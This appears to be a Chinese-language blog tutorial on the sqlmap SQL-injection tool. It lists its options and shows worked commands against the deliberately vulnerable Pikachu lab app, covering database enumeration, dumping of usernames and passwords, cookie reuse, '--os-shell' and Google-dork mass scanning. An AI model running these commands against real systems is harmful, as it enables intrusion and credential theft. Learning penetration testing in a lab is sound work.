渗透工具-sqlmap-基本知识及使用教程

 

常用命令:

-u指定目标URL (可以是http协议也可以是https协议)

-d连接数据库

--dbs列出所有的数据库

--current-db列出当前数据库

--tables列出当前的表

--columns列出当前的列

-D选择使用哪个数据库

-T选择使用哪个表

-C选择使用哪个列

--dump获取字段中的数据

--dump-all 拖库

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o 开启所有默认性能优化

-f fingerprint 获取指纹信息

--tamper  调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell  获取主机shell,一般不太好用,因为没权限

-m 批量操作

-c 指定配置文件,会按照该配置文件执行动作

-data   data指定的数据会当做post数据提交

-timeout  设定超时时间

-level

设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

--is-dba 判断当前用户是否为数据库管理员权限

--risk 风险等级

--identify-waf 检测防火墙类型

--param-del="分割符"  设置参数的分割符

--skip-urlencode不进行url编码

--keep-alive设置持久连接,加快探测速度

--null-connection检索没有body响应的内容,多用于盲注

--thread最大为10 设置多线程

--delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时

--safe-url 有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

--technique 指定注入类型

B:Boolean-based-blind (布尔型型注入)

E:Error-based (报错型注入)

U:Union query-based (联合注入)

S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind (基于时间延迟注入)

--dump --smart --batch   自动得到所有信息

SQLmap直连数据库

服务型数据库(提前知道数据库用户名和密码):

Eg:python sqlmap.py -d” mysql://admin:[email protected]:3306/testdb” -f --banner --dbs --users

文件型数据库(提前知道数据库的绝对路径)

Sqlmap url探测

实例暴力破解

Pikachu  post 型

数字型注入

抓个包,在sqlmap中查询所有数据库 --dbs

得到结果如图所示

渗透工具-sqlmap-基本知识及使用教程_第1张图片

获取数据库名称和数据库版本 --current -db

 渗透工具-sqlmap-基本知识及使用教程_第2张图片

 渗透工具-sqlmap-基本知识及使用教程_第3张图片

获得pikchu数据库中的表单  -D pikachu --tables

获取user表中的全部列 -D pikachu -T users -columns

获取其中的账号密码 -D pikachu -T users -C username,password --dump

Pikachu2:get型

Python sqlmap.py -u "http://127.0.0.1:8080/pikachu/vul/sqli/sqli_str.php?name=hello&submit=%E6%9F%A5%E8%AF%A2" (--current-db) --smart --batch

Sqlmap文件读取目标

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-x 从sitemap.xml站点地图中读取目标探测

-m 从文本文件中读取HTTP请求作为sql注入探测的目标

-c 从配置文件sqlmap.conf中读取目标探测

渗透工具-sqlmap-基本知识及使用教程_第4张图片

抓包,test文档里有信息,将test粘贴到salmap中

渗透工具-sqlmap-基本知识及使用教程_第5张图片

Sqlmap Google批量扫注入(未授权违法)

-G:自动利用Google获取指定Google hack 的目标,然后利用交互向导模式进行SQL注入探测

Eg:python sqlmap.py -g “inurl:.php?id=1”

三、Sqlmap请求参数设置

1、sqlmap设置HTTP方法

Sqlmap会自动在探测过程中使用适合的HTTP请求方法。但有时候SQLmap不能切换到对应的HTTP方法,而导致探测失败,需要强制的使用具体的HTTP请求方法。

例如put请求方法。HTTP put请求方法不会自动使用,因此我们需要强制指定。使用--method=PUT

2、sqlmap设置post提交参数

默认情况,执行http请求的HTTP方法是GET,但是可以通过加上--data=””改为post,或者使用--method=po's't

Post提交

-u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2"

需要写--data里面

Get提交

-u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" 

在url里面

Eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

-f fingerprint 指纹

3、sqlmap设置参数分隔符

某些情况下,sqlmap需要覆盖默认参数分隔符(例如& in GET和POST数据),才能正确地分割和单独处理每个参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs -- users

参数拆分字符   --param-del   当get或post的数据需要用其他字符分割测试参数的时候需要用到此参数

4、sqlmap设置cookie头

--cookie

--cookie-del

--load-cookies

--drop-set-cookie

使用场景:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

Sqlmap使用cookie过程:

  1. 登录或浏览也页面
  2. 打开审计工具或者代理截断,复制cookie
  3. 在sqlmap中使用 --cookie 粘贴cookie

cookie其实就是身份识别
此处不加cookie的话可能会进行跳转出现302错误
因为你使用的是账号密码登录,获取登陆的cookie
不加cookie直接登录的话就相当于你没有输入账号和密码
当然跳转到另一个页面了
就不会到登录成功的页面

但是会出现一种情况
cookie值不是固定的
也就是你一开始使用cookie注入后
服务器返回给你一个cookie,这个返回的cookie不同于你一开始设置的cookie
返回的这个cookie是登陆成功后的cookie
所以我们之前的cookie注入就不能针对成功后的注入
我们现在对成功后的cookie进行测试
burp获取成功后的cookie可能需要点forward

你可能感兴趣的:(软件安全分析,数据库,测试工具,安全,windows)